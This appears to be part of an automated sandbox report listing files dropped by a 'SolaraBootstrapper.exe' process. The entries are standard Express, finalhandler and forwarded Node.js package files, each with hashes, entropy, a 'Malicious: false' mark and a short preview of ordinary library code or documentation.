Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var accepts = require('accepts');.var deprecate = require('depd')('express');.var isIP = require('net').isIP;.var typeis = require('type-is');.var http = require('http');.var fresh = require('fresh');.var parseRange = require('range-parser');.var parse = require('parseurl');.var proxyaddr = require('proxy-addr');../. Request prototype.. * @public. /..var req = Object.create(http.IncomingMessage.prototype)../. Module exports.. * @public. /..module.exports = req../. Return request header.. . The `Referrer` header field is special-cased,. * both `Referrer` and `Referer` are interchangeable.. . Examples:. . req.get('Content-Type');. * // => "text/plain". . req.get('content-type');. * // => "text/plain". . req.get('Somet

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\response.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	28339
Entropy (8bit):	4.8853987336007485
Encrypted:	false
SSDEEP:	768:tz7qICPSMJNTNXdj/8WByFJAhArYWqdUpa:1qHnJFZdj/8WByFJ6ArUQa
MD5:	B95E98D87C48B055F2E37CF427B2EDBF
SHA1:	727206ECCBBD4F4C17FD9E0E9A940DCDF399E014
SHA-256:	8761B1592827B8D4708DC17810A7359B35CA469BDE3BB10AABDCE6A1884629A8
SHA-512:	109D817D3DFEE1C6F7058970BBE0255A9EC412F102CB4C2115B235189904219728877DEEEDCBDB9F12138B8518F1E89A63BBEDFD92E9657A60E45DB77EF1E059
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. */..var Buffer = require('safe-buffer').Buffer.var contentDisposition = require('content-disposition');.var createError = require('http-errors').var deprecate = require('depd')('express');.var encodeUrl = require('encodeurl');.var escapeHtml = require('escape-html');.var http = require('http');.var isAbsolute = require('./utils').isAbsolute;.var onFinished = require('on-finished');.var path = require('path');.var statuses = require('statuses').var merge = require('utils-merge');.var sign = require('cookie-signature').sign;.var normalizeType = require('./utils').normalizeType;.var normalizeTypes = require('./utils').normalizeTypes;.var setCharset = require('./utils').setCharset;.var cookie = require('cookie');.var send = require('send');.var extname = path.extname;.var mime = send.mime;.var resolve = pat

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\router\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15123
Entropy (8bit):	4.740050696950153
Encrypted:	false
SSDEEP:	384:udXSdzoyXJwl082ungnSy3quQKgOXAWugvfQB:2czoOyA3quQKzwVgvfa
MD5:	97A86CF767627BBA9B50BFFBDDA677A8
SHA1:	C71D3D8FF843D6687C9D28874374A828D61792EA
SHA-256:	19C5CA9B025396612DBE464D07FBE7104FF9170C4D6A1C7E5507DF4DBBF4D5CB
SHA-512:	F5755588F4B87E50F4B3CB32C3D5797D896E63D011F9968A68CE1921521D79A6D4E3383E7EB9C8538F3F97504552702860707D4DC186BB781A8060EBC08E3CDD
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var Route = require('./route');.var Layer = require('./layer');.var methods = require('methods');.var mixin = require('utils-merge');.var debug = require('debug')('express:router');.var deprecate = require('depd')('express');.var flatten = require('array-flatten');.var parseUrl = require('parseurl');.var setPrototypeOf = require('setprototypeof')../. Module variables.. * @private. /..var objectRegExp = /^\[object (\S+)\]$/;.var slice = Array.prototype.slice;.var toString = Object.prototype.toString;../. Initialize a new `Router` with the given `options`.. . @param {Object} [options]. * @return {Router} which is a callable function. * @public. */..var proto = module.exports = function(options) {. var opts = options \|\| {};.. function router(req, res, n

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\router\layer.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3296
Entropy (8bit):	4.8012259683932115
Encrypted:	false
SSDEEP:	48:6VkJgAxq9H7/q7RGbhfI4gGu0d7o7PqgLeGv7w8qKKXOVG5TPPLdmnzFo9rjtwU4:uYC/HfI4gh0MHL5LgdtYzFo9rOUrm8Mb
MD5:	C6E16965EF05CC02CFEE78022496ABAB
SHA1:	302244D96AFC6D6FCAAA3AFAE016FBE8168F192C
SHA-256:	C90709DCBA8D9A6CFD1F2B4EF6D7A22D833E317F0C876D884342CEE5A96F8A02
SHA-512:	7DDCAB429A9C8857BD7E9170C92EBFD3E3C59CE52323021B53E24BA776ABA3A757098AE9F3264585E4FE5F3C331E747307301344DC19EAE9345E68629A5C440C
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var pathRegexp = require('path-to-regexp');.var debug = require('debug')('express:router:layer');../. Module variables.. * @private. /..var hasOwnProperty = Object.prototype.hasOwnProperty;../. Module exports.. * @public. /..module.exports = Layer;..function Layer(path, options, fn) {. if (!(this instanceof Layer)) {. return new Layer(path, options, fn);. }.. debug('new %o', path). var opts = options \|\| {};.. this.handle = fn;. this.name = fn.name \|\| '<anonymous>';. this.params = undefined;. this.path = undefined;. this.regexp = pathRegexp(path, this.keys = [], opts);.. // set fast path flags. this.regexp.fast_star = path === ''. this.regexp.fast_slash = path === '/' && opts.end === false.}../*. Handle the error for the layer.. . @p

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\router\route.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4399
Entropy (8bit):	4.797709127541757
Encrypted:	false
SSDEEP:	96:uMM7HcXNnPON7NOSjMiCg0AYecAueTg0hH4XEaOTXvg:uMM7Hk5POlNOSAiCg0AYepuigoSEtTvg
MD5:	F369E8206668EED53791E8633D8B9850
SHA1:	415EABADE20B94E1863E7D1CB89DB82243294A24
SHA-256:	86DB123570815A63DC23AA88D73E1B3DCE908692AC2E3CF20FA350D69DE63337
SHA-512:	41BD013D1EE562230C58CF3789A483D5DC7D3FA3286A18B990B8E1F8222E3A9721798BD7ADF78062CC8AEBE7BDBF0FB788554CDE003B413CB7F9260CFE8C017A
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var debug = require('debug')('express:router:route');.var flatten = require('array-flatten');.var Layer = require('./layer');.var methods = require('methods');../. Module variables.. * @private. /..var slice = Array.prototype.slice;.var toString = Object.prototype.toString;../. Module exports.. * @public. /..module.exports = Route;../. Initialize `Route` with the given `path`,. . @param {String} path. * @public. /..function Route(path) {. this.path = path;. this.stack = [];.. debug('new %o', path).. // route handlers for various http methods. this.methods = {};.}../. Determine if the route handles a given method.. * @private. */..Route.prototype._handles_method = function _handles_method(method) {. if (this.methods._all) {. return tr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\utils.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5871
Entropy (8bit):	4.898946986989178
Encrypted:	false
SSDEEP:	96:uXcRzPReHkGVZwJ5J98tK9vgkDmKv0DzJal2g6PigcwOVcz2aIDzMcrJk:uXsJePZYhxDZv4z+HYiglOVcz27/Mcry
MD5:	D0AF8049AEAE0B030CADA613FE49EF9C
SHA1:	8D7970A663C3045C366545610EE53F0BA0F33144
SHA-256:	9035C6D946ECE511E749043CC823E32D3EFE6727B8A9D52AAC89649E99584F09
SHA-512:	3FBF3AFBE7711B7426E81129B3D1728D1B8717C6F0D7BA574D6089AEF6BB5E6E5C566A50CD5D1CED5C385B2FA9F5C378ECB7FCBFE4970FA7DB805932422578B8
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @api private. /..var Buffer = require('safe-buffer').Buffer.var contentDisposition = require('content-disposition');.var contentType = require('content-type');.var deprecate = require('depd')('express');.var flatten = require('array-flatten');.var mime = require('send').mime;.var etag = require('etag');.var proxyaddr = require('proxy-addr');.var qs = require('qs');.var querystring = require('querystring');../. Return strong ETag for `body`.. . @param {String\|Buffer} body. * @param {String} [encoding]. * @return {String}. * @api private. /..exports.etag = createETagGenerator({ weak: false })../. Return weak ETag for `body`.. . @param {String\|Buffer} body. * @param {String} [encoding]. * @return {String}. * @api private. /..exports.wetag = createETagGenerator({ weak: true })../. Check if `path`

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\lib\view.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3325
Entropy (8bit):	4.884262682122576
Encrypted:	false
SSDEEP:	96:uMeYKks7x6BfOEnaJCpiq6qDTS8u2YaYpL9:uMeCs7EBfzaJfqxQFpL9
MD5:	09C05D27B2F11D1BD70FB54C24C60311
SHA1:	4CFB7F23CB0A4B9F11DACC7E81DCA3782F63552F
SHA-256:	EC627880C1B43AEE5887164AC2E9C58F01E4EE8086E23A829EDDF1AF3858C021
SHA-512:	0AA9EF9F07692D0C254CDEDDE8063B5D1DD4F5A81969F5293B74BC18B2169041892A164E3C1FBDCBE06C8AAFABD4C28E9072C754FB6A8B833E6153E1C359886F
Malicious:	false
Preview:	/!. express. * Copyright(c) 2009-2013 TJ Holowaychuk. * Copyright(c) 2013 Roman Shtylman. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var debug = require('debug')('express:view');.var path = require('path');.var fs = require('fs');../. Module variables.. * @private. /..var dirname = path.dirname;.var basename = path.basename;.var extname = path.extname;.var join = path.join;.var resolve = path.resolve;../. Module exports.. * @public. /..module.exports = View;../. Initialize a new `View` with the given `name`.. . Options:. . - `defaultEngine` the default template engine name. * - `engines` template engine require() cache. * - `root` root path for view lookup. . @param {string} name. * @param {object} options. * @public. */..function View(name, options) {. var opts = options \|\| {};.. this.defaultEngine = opts.defaultEngine;. this.ext = extname(name);. this.name = n

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\express\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2597
Entropy (8bit):	4.7539656629700415
Encrypted:	false
SSDEEP:	48:2gh/NXnDcEJDyi+476U5RxYhNtuACk3w8Be7LkoWO2v2TLL4XVxrl:2gB9nwEJDF+4eU+LCKgLkoY04XVxrl
MD5:	3B5B76B70B0A549DCE72C5A02756D2A8
SHA1:	07786BAEBB5C52882E28A8BD281C9A36D63DD116
SHA-256:	BDD67333AB62B0BFEB10ECBBB23936DB57B743A3EEC580A354591FDF63334859
SHA-512:	BB266DFA725421FB26D26FDA0F45A5FA5CD832667B05F27CEAF4E7FC1E032AEEA8700493CFDD2941C3C38CD166EEE1000D2B9AE3DDEF375714E25A2027A943A3
Malicious:	false
Preview:	{. "name": "express",. "description": "Fast, unopinionated, minimalist web framework",. "version": "4.19.2",. "author": "TJ Holowaychuk <tj@vision-media.ca>",. "contributors": [. "Aaron Heckmann <aaron.heckmann+github@gmail.com>",. "Ciaran Jessup <ciaranj@gmail.com>",. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Guillermo Rauch <rauchg@gmail.com>",. "Jonathan Ong <me@jongleberry.com>",. "Roman Shtylman <shtylman+expressjs@gmail.com>",. "Young Jae Sim <hanul@hanul.me>". ],. "license": "MIT",. "repository": "expressjs/express",. "homepage": "http://expressjs.com/",. "keywords": [. "express",. "framework",. "sinatra",. "web",. "http",. "rest",. "restful",. "router",. "app",. "api". ],. "dependencies": {. "accepts": "~1.3.8",. "array-flatten": "1.1.1",. "body-parser": "1.20.2",. "content-disposition": "0.5.4",. "content-type": "~1.0.4",. "cookie": "0.6.0",. "cookie-signature": "1.0.6",. "deb

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4292
Entropy (8bit):	4.886144130907238
Encrypted:	false
SSDEEP:	96:va4n4/AwRx8+ebFj6JJPdYXH+rtn6oZBn:C4n73d6BYXcBT3
MD5:	061C80FD951E66DFB115A351A3F7547E
SHA1:	8C8B29DF85B7D82D17361838D822D9C464D733C2
SHA-256:	5C7065D29A2710C69516308350A51A140DEDD0E4527F27578405087010CD4B7F
SHA-512:	00AE061B93BD3F7143A55922083F16AE281852332E5D1CEE867417FC1B1189400DEF1E6700FB03EF304D0899E31C1E23F1D38CFC6C6EFA14A9466958650359A7
Malicious:	false
Preview:	1.2.0 / 2022-03-22.==================.. * Remove set content headers that break response. * deps: on-finished@2.4.1. * deps: statuses@2.0.1. - Rename `425 Unordered Collection` to standard `425 Too Early`..1.1.2 / 2019-05-09.==================.. * Set stricter `Content-Security-Policy` header. * deps: parseurl@~1.3.3. * deps: statuses@~1.5.0..1.1.1 / 2018-03-06.==================.. * Fix 404 output for bad / missing pathnames. * deps: encodeurl@~1.0.2. - Fix encoding `%` as last character. * deps: statuses@~1.4.0..1.1.0 / 2017-09-24.==================.. * Use `res.headersSent` when available..1.0.6 / 2017-09-22.==================.. * deps: debug@2.6.9..1.0.5 / 2017-09-15.==================.. * deps: parseurl@~1.3.2. - perf: reduce overhead for full URLs. - perf: unroll the "fast-path" `RegExp`..1.0.4 / 2017-08-03.==================.. * deps: debug@2.6.8..1.0.3 / 2017-05-16.==================.. * deps: debug@2.6.7. - deps: ms@2.0.0..1.0.2 / 2017-04-22.======

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.149960307757634
Encrypted:	false
SSDEEP:	24:/iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:/iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	462B10B32BB9175B97944AABEF4AA171
SHA1:	D07C312C66BE4BDDABA627E873B9E0C5ECBA7CD4
SHA-256:	47DCCCF62BF40469D23849B0B1DC8DF9FC91BCE219B880C638D4DC4596E6B5CF
SHA-512:	EF8DC7AC579171278A483D216628C695F451EADCC2DA1DB672E7451CFCB1407C5ADE28EA7BD2B7F91BB2E29BF0D8A637F550955D648F917A1EB2A93F8E93BA1F
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2022 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TO

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4133
Entropy (8bit):	4.970675126623142
Encrypted:	false
SSDEEP:	96:dXChQ215Sx5V12aU7Pdfa+m6Ux1KxOV5erOdYxJV5erKBa2AMaimUu:dy45V13T+mLb56H56yanMa1Uu
MD5:	0D643D34FEF82EAA878C5432D35961F8
SHA1:	1BDA3F727CF7A20BAEA2AD613B3A8056774AB425
SHA-256:	D3D128173E4AF0F2825667425069051DB5655ED810DD59344404523DDE49AEB3
SHA-512:	E8C68A75A920D8FF4157C8D3706EF91F56D702FF9E357E1A51F869D361B51B9085DFD434963EA61C4BC33964B0E29FAA98A8D648364885BAAB854E2FE8CD22FC
Malicious:	false
Preview:	# finalhandler..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-image]][node-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Node.js function to invoke as the final step to respond to HTTP request...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install finalhandler.```..## API..```js.var finalhandler = require('finalhandler').```..### finalhandler(req, res, [options])..Returns function to be invoked as the final step for the given `req` and `res`..This function is to be invoked as `fn(err)`. If `err` is falsy, the handler will.write out a 404 response to the `res`. If it is truthy, an error response will.be written out to the `

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\SECURITY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1202
Entropy (8bit):	4.469828769598368
Encrypted:	false
SSDEEP:	24:1ZdoSZ8gGz6KHbaKWjdbDF925a/7kJyEyF0eOCYunEfu7WR:1BS3zUKa/7xPYun7WR
MD5:	8C218C1D06FDDE7CBB4926CA8A11144F
SHA1:	3B7D36C55AC91ECDDD14CEBB0F8EB158B443D776
SHA-256:	D0366646BABEB58FF9CB81D794063822B86BD3F3C12E96133C9F55A0812891CD
SHA-512:	BD882A7E1650D032543AD58675FAF52139E1B21C4B3FB809AB7F2D397C5988C0B0C1E1840BA755C78FBA757D36D011B0A6039C37F08770AFF76844C26D498213
Malicious:	false
Preview:	# Security Policies and Procedures..## Reporting a Bug..The `finalhandler` team and community take all security bugs seriously. Thank.you for improving the security of Express. We appreciate your efforts and.responsible disclosure and will make every effort to acknowledge your.contributions...Report security bugs by emailing the current owner(s) of `finalhandler`. This.information can be found in the npm registry using the command.`npm owner ls finalhandler`..If unsure or unable to get the information from the above, open an issue.in the [project issue tracker](https://github.com/pillarjs/finalhandler/issues).asking for the current contact information...To ensure the timely response to your report, please ensure that the entirety.of the report is contained within the email body and not solely behind a web.link or an attachment...At least one owner will acknowledge your email within 48 hours, and will send a.more detailed response within 48 hours indicating the next steps in handling.yo

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	6689
Entropy (8bit):	4.828870033450615
Encrypted:	false
SSDEEP:	192:vMlJv4mtdenb3bGxSEhkhcC76QM6clzM8ilkv958nu4dEljyIYo4:vMom56hnw8
MD5:	D50E9637775204F194D629000189F69C
SHA1:	50D1A1725CB273B0A8E30433DABC43D65F55169B
SHA-256:	96900B458B12085EA16F228151439D9A7BAE6B5D45248E355AD617F4DC213540
SHA-512:	563A8375E3AB7936162A9D209800F8B41C416C1500FE24DE817871C3E5489E8FAF5A4DCB7FB239F697A8736432356E60ECF1578D0AAFC0DE80D6E0AE90C34AAD
Malicious:	false
Preview:	/!. finalhandler. * Copyright(c) 2014-2022 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var debug = require('debug')('finalhandler').var encodeUrl = require('encodeurl').var escapeHtml = require('escape-html').var onFinished = require('on-finished').var parseUrl = require('parseurl').var statuses = require('statuses').var unpipe = require('unpipe')../. Module variables.. * @private. /..var DOUBLE_SPACE_REGEXP = /\x20{2}/g.var NEWLINE_REGEXP = /\n/g../ istanbul ignore next /.var defer = typeof setImmediate === 'function'. ? setImmediate. : function (fn) { process.nextTick(fn.bind.apply(fn, arguments)) }.var isFinished = onFinished.isFinished../. Create a minimal HTML document.. . @param {string} message. * @private. */..function createHtmlDocument (message) {. var body = escapeHtml(message). .replace(NEWLINE_REGEXP, '<br>'). .replace(DOUBLE_SPACE_REGEXP, '  ').. return '<!DOCTYPE html>\n' +.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\finalhandler\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1207
Entropy (8bit):	4.763086191570409
Encrypted:	false
SSDEEP:	24:vB6aQdr15RPY64Rx714sQGejYuNCHRIZBlWenwfMTknjZKLvP:5tGXWRxeFGejYuNCHRIzUK6MTUjorP
MD5:	3D09AC571E0B6EAF8FDB9806118B6D30
SHA1:	EB758BB6A7D3E4F32F0FA2F941265678539E74F1
SHA-256:	243D853D4386C4132508AE9A99E5176B25BE7F5CB6967BC1BAB241F20E937E72
SHA-512:	0207CF364E3EAC974CAE61EC68FE3975FD1F1EB6150F51293CE67F62DBB0F27A3D9C193101EF282DCD099FC653CA73CD3C875C18E5E266964038E3334697B5B4
Malicious:	false
Preview:	{. "name": "finalhandler",. "description": "Node.js final http responder",. "version": "1.2.0",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "repository": "pillarjs/finalhandler",. "dependencies": {. "debug": "2.6.9",. "encodeurl": "~1.0.2",. "escape-html": "~1.0.3",. "on-finished": "2.4.1",. "parseurl": "~1.3.3",. "statuses": "2.0.1",. "unpipe": "~1.0.0". },. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.2",. "nyc": "15.1.0",. "readable-stream": "2.3.6",. "safe-buffer": "5.2.1",. "supertest": "6.2.2". },. "files": [. "LICENSE",. "HISTORY.md",. "SECURITY.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "lint": "esli

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\forwarded\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	400
Entropy (8bit):	4.590668775133485
Encrypted:	false
SSDEEP:	6:gFDd+ENX2FAUvSSYTNiv7ZdyTtAxjYYw2GFuZE9FJAweCMNq1FyT3SXHpRZ0N2:g7+kmVQhiv7jyZ4jYYvOFJeVhWXpRCA
MD5:	BA854F852A81318EA0356F4286E20DAB
SHA1:	BD0EFE669AD506AB258BB461D1444D74DD288CE5
SHA-256:	16A998ADF118889EEE706826B2D3BC50B0D6EF228D81EB94A64B47B72D95A398
SHA-512:	64419F572A5B1D243E1A2E7CFB8CA2EEC6FA4E472311B76DCD21A0ED64E8A174C31992A06828813AADFAC230B7E23823198203BF2AF7235F73B4755BCD2DA2B1
Malicious:	false
Preview:	0.2.0 / 2021-05-31.==================.. * Use `req.socket` over deprecated `req.connection`..0.1.2 / 2017-09-14.==================.. * perf: improve header parsing. * perf: reduce overhead when no `X-Forwarded-For` header..0.1.1 / 2017-09-10.==================.. * Fix trimming leading / trailing OWS. * perf: hoist regular expression..0.1.0 / 2014-09-21.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\forwarded\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:0iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:0iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	13BABC4F212CE635D68DA544339C962B
SHA1:	4881AD2EC8EB2470A7049421047C6D076F48F1DE
SHA-256:	BD47CE7B88C7759630D1E2B9FCFA170A0F1FDE522BE09E13FB1581A79D090400
SHA-512:	40E30174433408E0E2ED46D24373B12DEF47F545D9183B7BCE28D4DDD8C8BB528075C7F20E118F37661DB9F1BBA358999D81A14425EB3E0A4A20865DFCB53182
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2017 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\forwarded\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1654
Entropy (8bit):	5.043298521652171
Encrypted:	false
SSDEEP:	48:eqXC9vRzNdXMoNjM24umPW+/+qhd7mQYAiU:9XCd15FCW+moR
MD5:	5E737F1F3045F9875119CF34BF28FB03
SHA1:	1970B4F2D0DD6BCEF504DF2B88A55BEA3FBB45AF
SHA-256:	114E825A45563255497909DBDC6B776AE7718698896A8E66D8DC980DCD2C1088
SHA-512:	CC9269857ED8E16526A8AF6C1ACE176FB5F6D41205FE9CFF02B4DB5DFAEED43237AE912AD81BC0E0F9E0AEC1A98F7F56F35771AAF9F4DA5B105B3F4C57CC9D69
Malicious:	false
Preview:	# forwarded..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Parse HTTP X-Forwarded-For header..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install forwarded.```..## API..```js.var forwarded = require('forwarded').```..### forwarded(req)..```js.var addresses = forwarded(req).```..Parse the `X-Forwarded-For` header from the request. Returns an array.of the addresses, including the socket address for the `req`, in reverse.order (i.e. index `0` is the socket address and the last index is the.furthest address, typically the end-user)...## Testing..```sh.$ npm test.```..## License..[M

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\forwarded\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1578
Entropy (8bit):	4.640957815478201
Encrypted:	false
SSDEEP:	48:uWGqkbr82Vz67qktU+w+D7KGFcjHULCR3A:uqZ2f5xAzauow
MD5:	485E8B30D7F9B0394B2AC54ED51DDB06
SHA1:	55BA3013D25E8273D06EC831847451D15B33FF29
SHA-256:	4CA8DF355D325042545F4A522017926EC460FCB836F10174F2C80BBC4D47AA69
SHA-512:	3575386A7AD542E82F655AAD66DAEDDA88430646F425492394423A67C60E48735EEDBB8EABB79A9F874AA385E1F7275CA86AB7151AE243BED737C89EA3E039C6
Malicious:	false
Preview:	/!. forwarded. * Copyright(c) 2014-2017 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = forwarded../. Get all addresses in the request, using the `X-Forwarded-For` header.. . @param {object} req. * @return {array}. * @public. /..function forwarded (req) {. if (!req) {. throw new TypeError('argument req is required'). }.. // simple header parsing. var proxyAddrs = parse(req.headers['x-forwarded-for'] \|\| ''). var socketAddr = getSocketAddr(req). var addrs = [socketAddr].concat(proxyAddrs).. // return all addresses. return addrs.}../. Get the socket address for a request.. . @param {object} req. * @return {string}. * @private. /..function getSocketAddr (req) {. return req.socket. ? req.socket.remoteAddress. : req.connection.remoteAddress.}../. Parse the X-Forwarded-For header.. . @param {string} header. * @private. */..function parse (header) {. var end = header.length. var

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\forwarded\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.84598824339977
Encrypted:	false
SSDEEP:	24:mIMNr1LxVWOXzfP61u8WCdIZCLlWecB6T+lwZKLl105P6u:mIYNVWwfS1ujCdIQUee0+qo703
MD5:	E7DF15EB8D27ABEC5607F111411A9DF1
SHA1:	5D558CAD52024D41373AE030C0D7FF67E8DFD7FE
SHA-256:	550A78F64B6A76BC353D6A10152AF5750613D0D910F8478943176C1A6196158A
